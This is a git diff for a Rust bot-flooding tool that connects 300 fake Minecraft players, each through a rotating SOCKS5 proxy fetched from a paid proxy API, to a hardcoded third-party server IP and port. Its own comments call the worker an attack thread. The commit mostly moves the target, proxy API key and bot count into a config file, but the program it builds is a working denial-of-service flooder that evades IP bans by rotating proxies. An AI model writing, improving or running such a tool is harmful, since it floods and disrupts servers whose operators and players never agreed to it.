diff --git a/Cargo.lock b/Cargo.lock index 8041b1d..25a4ff5 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -9,6 +9,7 @@ dependencies = [ "rand", "reqwest", "rust_mc_proto", + "serde", "serde_json", "socks", "tokio", diff --git a/Cargo.toml b/Cargo.toml index 7696675..8a0b356 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -5,6 +5,7 @@ edition = "2021" [dependencies] rust_mc_proto = "0.1.17" +serde = { version = "1.0", features = ["derive"] } serde_json = "1.0.137" socks = "0.3.4" uuid = "1.12.1" diff --git a/config.json b/config.json index 4742430..08f08c5 100644 --- a/config.json +++ b/config.json @@ -1,13 +1,7 @@ { - "server": { - "ip": "49.70.3.146", - "port": "33009" - }, - "proxy": { - "socks5_url": "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json" - }, - "settings": { - "username_prefix": "Nikke_", - "player_count": 300 - } + "server_ip": "49.70.3.146", + "server_port": "33009", + "proxy_url": "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json", + "username_prefix": "Nikke_", + "count": 300 } \ No newline at end of file diff --git a/src/bot_socks5.rs b/src/bot_socks5.rs index c26f015..bd55c7a 100644 --- a/src/bot_socks5.rs +++ b/src/bot_socks5.rs @@ -16,7 +16,7 @@ pub struct Socks5Bot { impl Socks5Bot { pub fn new(username: String, proxy_addr: String, server_addr: String) -> Result { - println!("[{}] Creating bot with proxy {}", username, proxy_addr); + println!("[{}] Creating bot on {} with proxy {}", username, server_addr, proxy_addr); let stream = Socks5Stream::connect(proxy_addr.as_str(), server_addr.as_str()); let should_restart = false; match stream { diff --git a/src/configuration.rs b/src/configuration.rs new file mode 100644 index 0000000..61892b4 --- /dev/null +++ b/src/configuration.rs @@ -0,0 +1,68 @@ +use std::fs::File; +use serde::{Deserialize, Serialize}; +use std::io::BufReader; + +#[derive(Debug, Deserialize, Serialize)] +pub struct Configuration { + server_ip: String, + server_port: String, + username_prefix: String, + count: i32, + proxy_url: String, +} + +impl Configuration { + pub fn new(filename: &str) -> Self { + let file = File::open(filename); + match file { + Ok(file) => { + let reader = BufReader::new(file); + match serde_json::from_reader::<_,Configuration>(reader) { // serde可以直接解析出实现了Deserialize trait的类型 就很不错 + Ok(config) => { + println!("[CONFIG] Server IP: {}", config.server_ip); + println!("[CONFIG] Server Port: {}", config.server_port); + println!("[CONFIG] Username Prefix: {}", config.username_prefix); + println!("[CONFIG] Bot Count: {}", config.count); + println!("[CONFIG] Proxy URL: {}", config.proxy_url); + config + } + Err(error) => { + eprintln!("[MAIN/CONF] Error parsing config file: {}", error); + Self::default() + } + } + } + Err(error) => { + eprintln!("[MAIN/CONF] Unable to read config file, will use default values: {}", error); + Self::default() + } + } + } + + fn default() -> Self { + Configuration { + server_ip: "49.70.3.146".to_string(), + server_port: "33009".to_string(), + username_prefix: "".to_string(), + count: 300, + proxy_url: "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json".to_string(), + } + } + + // 下面是getter一堆 + pub fn server_ip(&self) -> &str { + self.server_ip.as_str() + } + pub fn server_port(&self) -> &str { + self.server_port.as_str() + } + pub fn username_prefix(&self) -> &str { + self.username_prefix.as_str() + } + pub fn count(&self) -> i32 { + self.count + } + pub fn proxy_url(&self) -> &str { + self.proxy_url.as_str() + } +} \ No newline at end of file diff --git a/src/main.rs b/src/main.rs index 6c92de6..8934f57 100644 --- a/src/main.rs +++ b/src/main.rs @@ -2,6 +2,7 @@ mod bot_socks5; mod utils; +mod configuration; use reqwest; use serde_json::Value; @@ -9,16 +10,19 @@ use std::sync::Arc; use std::thread; use tokio::sync::Mutex; use crate::utils::generate_username; +use crate::configuration::Configuration; -// 目标的ip地址(暂时不能解析dns) -// 理论上你可以把它改成任何支持1.20.1的服务器 -const SERVER_ADDR: &str = "49.70.3.146:33009"; -// uu代理的api(用来实时获取代理) -const UU_URL: &str = "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json"; -// 用户名的开头 -const USERNAME_PREFIX: &str = "Nikke_"; // 2 3 3 -// 假人数量 -const COUNT :i32 = 300; +// 暂且保留一下 +// // 目标的ip地址(暂时不能解析dns) +// // 理论上你可以把它改成任何支持1.20.1的服务器 +// const SERVER_ADDR: &str = "49.70.3.146:33009"; +// // uu代理的api(用来实时获取代理) +// const UU_URL: &str = "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json"; +// // 用户名的开头 +// // 这很不错了 +// const USERNAME_PREFIX: &str = "Nikke_"; // 2 3 3 +// // 假人数量 +// const COUNT :i32 = 300; #[tokio::main] async fn main() { @@ -33,9 +37,12 @@ async fn main() { let thread_lock = Arc::new(Mutex::new(())); let mut handles = Vec::new(); + let configuration = Configuration::new("config.json"); + let configuration_rc = Arc::new(configuration); - for i in 0..COUNT { + for i in 0..configuration_rc.count() { let lock_clone = thread_lock.clone(); + let configuration_rc_clone = configuration_rc.clone(); // let handle = tokio::spawn(async move { // attack_thread(lock_clone).await; // println!("[MAIN] Thread {} created", i); @@ -48,12 +55,12 @@ async fn main() { .build() .unwrap() .block_on(async move { - attack_thread(lock_clone).await; + attack_thread(lock_clone, configuration_rc_clone).await; // println!("[MAIN] Thread {} created", i); }); }); handles.push(handle); - println!("[MAIN] Thread {} created", i) + // println!("[MAIN] Thread {} created", i) // 这个太吵了( } // 等待所有任务完成(虽然大概也许可能这辈子都等不到) @@ -63,18 +70,18 @@ async fn main() { } // 用于殴打的线程 -async fn attack_thread(lock: Arc>) -> () { +async fn attack_thread(lock: Arc>, config: Arc) -> () { loop { // 请求proxy let resp: reqwest::Response; { let _guard = lock.lock().await; - resp = reqwest::get(UU_URL).await.unwrap(); + resp = reqwest::get(config.proxy_url()).await.unwrap(); } let proxy_list: Value = serde_json::from_str(&resp.text().await.unwrap()).unwrap(); let proxy = &proxy_list["proxies"].as_array().unwrap()[0]; - let username = generate_username(); + let username = generate_username(&config); // 这里用来标记是否需要重启 let mut flag = true; @@ -84,7 +91,7 @@ async fn attack_thread(lock: Arc>) -> () { let bot_result = bot_socks5::Socks5Bot::new( username.clone(), format!("{}:{}", proxy["ip"].as_str().unwrap(), proxy["port"]), - SERVER_ADDR.to_string(), + format!("{}:{}",config.server_ip(),config.server_port()).to_string(), ); if let Ok(mut bot) = bot_result { match bot.run() { diff --git a/src/utils.rs b/src/utils.rs index 5e49e23..0a23954 100644 --- a/src/utils.rs +++ b/src/utils.rs @@ -1,8 +1,10 @@ // 一些杂七杂八的小东西可以放在这 +use std::sync::Arc; + use rand::distributions::Alphanumeric; use rand::Rng; -use crate::USERNAME_PREFIX; +use crate::configuration::Configuration; // 处理json组件(有些TextComponent里面一堆extra看的我头皮发麻,所以整个这个) pub fn parse_json_component(json: &str) -> String { @@ -53,6 +55,6 @@ fn generate_string() -> String { .collect() } -pub fn generate_username() -> String { - USERNAME_PREFIX.to_string() + &*generate_string().to_string() +pub fn generate_username(config: &Arc) -> String { + config.username_prefix().to_string() + generate_string().to_string().as_str() } \ No newline at end of file